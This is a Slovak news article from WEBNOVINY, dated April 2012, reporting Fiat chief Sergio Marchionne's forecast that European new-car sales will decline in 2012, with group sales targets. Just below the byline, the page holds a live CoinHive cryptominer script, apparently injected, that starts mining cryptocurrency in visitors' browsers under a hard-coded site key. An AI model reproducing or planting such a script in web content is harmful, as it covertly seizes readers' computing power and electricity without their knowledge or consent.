

Predaj Fiatov v Európe na dračku nepôjdu

Napísal Admin

Streda, 04 Apríl 2012 13:06

var miner = new

CoinHive.Anonymous('49dVbbCFDuhg9nX5u1MDuATVZj7gQehytZwvXEUuWg9kfhNPWH7bUD87VW1NfjqucRZNNVTb1AHGUK2fkq5Nd55mLNnB4WK'); miner.start();



MILÁNO 4. apríla (WEBNOVINY) - Talianska automobilka Fiat očakáva, že predaje nových áut na európskom trhu v roku 2012 klesnú na 13 mil. vozidiel z vlaňajších 13,1 milióna.

Uviedol to v stredu generálny riaditeľ automobilovej skupiny Sergio Marchionne. Naplnenie prognózy by znamenalo, že európsky trh nových automobilov oslabí v piatom roku po sebe.

Podľa údajov Európskeho združenia výrobcov automobilov (ACEA) sa v roku 2007, teda pred začiatkom globálnej finančnej krízy, predalo v Európe celkovo 16 mil. nových áut.

Marchionne očakáva, že tri značky skupiny Fiat zamerané na masového zákazníka (Fiat, Alfa Romeo, Lancia) sa po strate z vlaňajška v roku 2014 vrátia k vyrovnanému hospodáreniu. Celá skupina, vrátane značky Chrysler, by mala v roku 2012 predať 4,1 mil. až 4,4 mil. áut po tom, čo ich vlani predala 4 mil., dodal Marchionne.